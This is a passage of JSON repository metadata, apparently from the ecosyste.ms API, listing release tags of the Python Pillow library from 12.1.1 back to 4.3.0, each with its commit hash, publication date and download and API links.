12.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1/manifests"},{"name":"12.1.0","sha":"46f45f674d47b5d8bc54230dda8fe9e214598b87","kind":"commit","published_at":"2026-01-02T06:03:05.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0/manifests"},{"name":"12.0.0","sha":"693df7b42c666f88c719f9973be0ad71607328e0","kind":"commit","published_at":"2025-10-15T17:06:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0/manifests"},{"name":"11.3.0","sha":"89f1f4626a2aaf5f3d5ca6437f41def2998fbe09","kind":"commit","published_at":"2025-07-01T07:41:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0/manifests"},{"name":"11.2.1","sha":"339bc5db93bd95decf65a59fab273f300db6594d","kind":"commit","published_at":"2025-04-12T16:55:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1/manifests"},{"name":"11.1.0","sha":"4c1aed801e43c6b307e7135279ca1dbc02bbf052","kind":"commit","published_at":"2025-01-02T05:00:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0/manifests"},{"name":"11.0.0","sha":"204aae6682fc936f5350b3fe70335776f81480a7","kind":"commit","published_at":"2024-10-15T05:55:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0/manifests"},{"name":"10.4.0","sha":"9b4fae77178e827ab17118fbc89c739ffd6a0fab","kind":"commit","published_at":"2024-07-01T05:42:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0/manifests"},{"name":"10.3.0","sha":"5c89d88eee199ba53f64581ea39b6a1bc52feb1a","kind":"commit","published_at":"2024-04-01T09:22:36.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0/manifests"},{"name":"10.2.0","sha":"6956d0b2853f5c7ec5f6ec4c60725c5a7ee73aeb","kind":"commit","published_at":"2024-01-02T07:32:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0/manifests"},{"name":"10.1.0","sha":"da59ad000d1405eaecd557175e29083a87d19f7c","kind":"commit","published_at":"2023-10-15T08:59:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0/manifests"},{"name":"10.0.1","sha":"e34d346f10c0b1c814661e662a3e0c1ef084cf1c","kind":"commit","published_at":"2023-09-15T11:55:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1/manifests"},{"name":"10.0.0","sha":"6e28ed1f36d0eb74053af54e1eddc9c29db698cd","kind":"commit","published_at":"2023-07-01T12:08:11.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0/manifests"},{"name":"9.5.0","sha":"204590600c6a8c5246d0564d3312abd6e6b0ed70","kind":"commit","published_at":"2023-04-01T07:49:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0/manifests"},{"name":"9.4.0","sha":"a5bbab1c1e63b439de191ef2040173713b26d2da","kind":"commit","published_at":"2023-01-01T23:29:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0/manifests"},{"name":"9.3.0","sha":"d594f4cb8dc47fb0c69ae58d9fff86faae4515bd","kind":"commit","published_at":"2022-10-29T12:25:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0/manifests"},{"name":"9.2.0","sha":"58acec3312fb8671c9d84829197e1c8150085589","kind":"commit","published_at":"2022-07-01T13:19:51.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0/manifests"},{"name":"9.1.1","sha":"0f44136e720cd3b2db72bdf29614897b7aa3e868","kind":"commit","published_at":"2022-05-17T10:33:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1/manifests"},{"name":"9.1.0","sha":"5d070222d21138d2ead002fd33fdf5adcb708941","kind":"commit","published_at":"2022-04-01T07:48:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0/manifests"},{"name":"9.0.1","sha":"6deac9e3a23caffbfdd75c00d3f0a1cd36cdbd5d","kind":"commit","published_at":"2022-02-02T23:45:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1/manifests"},{"name":"9.0.0","sha":"82541b6dec8452cb612067fcebba1c5a1a2bfdc8","kind":"commit","published_at":"2022-01-02T09:51:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0/manifests"},{"name":"8.4.0","sha":"40e7ff622669550733b26f14dc817fb72e096250","kind":"commit","published_at":"2021-10-15T06:27:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0/manifests"},{"name":"8.3.2","sha":"8013f130a5077b238a4346b73e149432b180a8ea","kind":"commit","published_at":"2021-09-02T12:13:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2/manifests"},{"name":"8.3.1","sha":"92933b86574b9c80764bf52c357ed29e1ef53382","kind":"commit","published_at":"2021-07-06T14:05:28.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1/manifests"},{"name":"8.3.0","sha":"51591a80a4e14543ea8cbe93026db5e79354b8c4","kind":"commit","published_at":"2021-07-01T03:53:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"e0e353c0ef7516979a9aedce3792596649ce4433","kind":"commit","published_at":"2021-04-01T17:58:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0/manifests"},{"name":"8.1.2","sha":"88bd672dafad68b419ea29bef941dfa17f941038","kind":"commit","published_at":"2021-03-06T02:38:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2/manifests"},{"name":"8.1.1","sha":"741d8744a54bedbc49f16922c61a06fcb3681f53","kind":"commit","published_at":"2021-03-01T08:24:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"fcc42e0d344146ee9d265d1f43c094ce5a0ec4cf","kind":"commit","published_at":"2021-01-02T11:39:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"d209b7cab2866cbf381cbfc193f57de91a403757","kind":"commit","published_at":"2020-10-22T15:05:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"235a7d6d7deab9555dc2c1b42fdf11243f6080e8","kind":"commit","published_at":"2020-10-14T16:02:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0/manifests"},{"name":"7.2.0","sha":"2bd74943fb9f320def6c066e732b701d1c15f677","kind":"commit","published_at":"2020-06-30T07:50:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0/manifests"},{"name":"7.1.2","sha":"4f6145655b6fa35ec8dd3600041418087e399758","kind":"commit","published_at":"2020-04-25T05:47:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2/manifests"},{"name":"7.1.1","sha":"ed40d04ac4dc71518a1fcbb916d0d323ef70fbc5","kind":"commit","published_at":"2020-04-02T12:41:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1/manifests"},{"name":"7.1.0","sha":"f0fe60ae9f930faeda2f0c22f602bed1f8a0f1c7","kind":"commit","published_at":"2020-04-01T10:12:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0/manifests"},{"name":"7.0.0","sha":"1cecf08d16509c20473766b4cdb7a65169844819","kind":"commit","published_at":"2020-01-02T05:19:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0/manifests"},{"name":"6.2.2","sha":"a45c8583ff90312a2fddc38567ed736cef4af563","kind":"commit","published_at":"2020-01-02T05:18:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"6e0f07bbe38def22d36ee176b2efd9ea74b453a6","kind":"commit","published_at":"2019-10-21T06:05:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"8a30d135378dc6a1c3c08fa4bb9fbc15370feedf","kind":"commit","published_at":"2019-10-01T09:24:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0/manifests"},{"name":"6.1.0","sha":"aaca672173413883fbcefd659f04d74fe44fb5d5","kind":"commit","published_at":"2019-07-02T19:10:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"4f3b44960f103bc201a742332dbf9a77de1eaa87","kind":"commit","published_at":"2019-04-01T22:25:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0/manifests"},{"name":"5.4.1","sha":"f38f01bbe3a0a9f49ce592c86ff20c01c9655133","kind":"commit","published_at":"2019-01-06T12:12:16.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1/manifests"},{"name":"5.4.0","sha":"d2d438794cdd80bdbc852c884f0473c86fb72ab3","kind":"commit","published_at":"2019-01-01T10:56:08.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0/manifests"},{"name":"5.3.0","sha":"0ac14725ef4444fdb2871a54bcc95fcd6b8807b3","kind":"commit","published_at":"2018-10-01T05:48:10.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0/manifests"},{"name":"5.2.0","sha":"c28bf86b7e752a9257a0d4451ca878c1385db15c","kind":"commit","published_at":"2018-07-01T19:40:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0/manifests"},{"name":"5.1.0","sha":"fda33d5c09142c4bb0e99964919d01c2cc5f5995","kind":"commit","published_at":"2018-04-02T18:40:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"e5bd7eb6235cc24b9c8d3e7ce51ed48a780c7c70","kind":"commit","published_at":"2018-01-01T15:03:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0/manifests"},{"name":"4.3.0","sha":"636dc62f0e8f9b233f1f2b287292b45325df135d","kind":"commit","published_at":"2017-10-02T12:23:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2F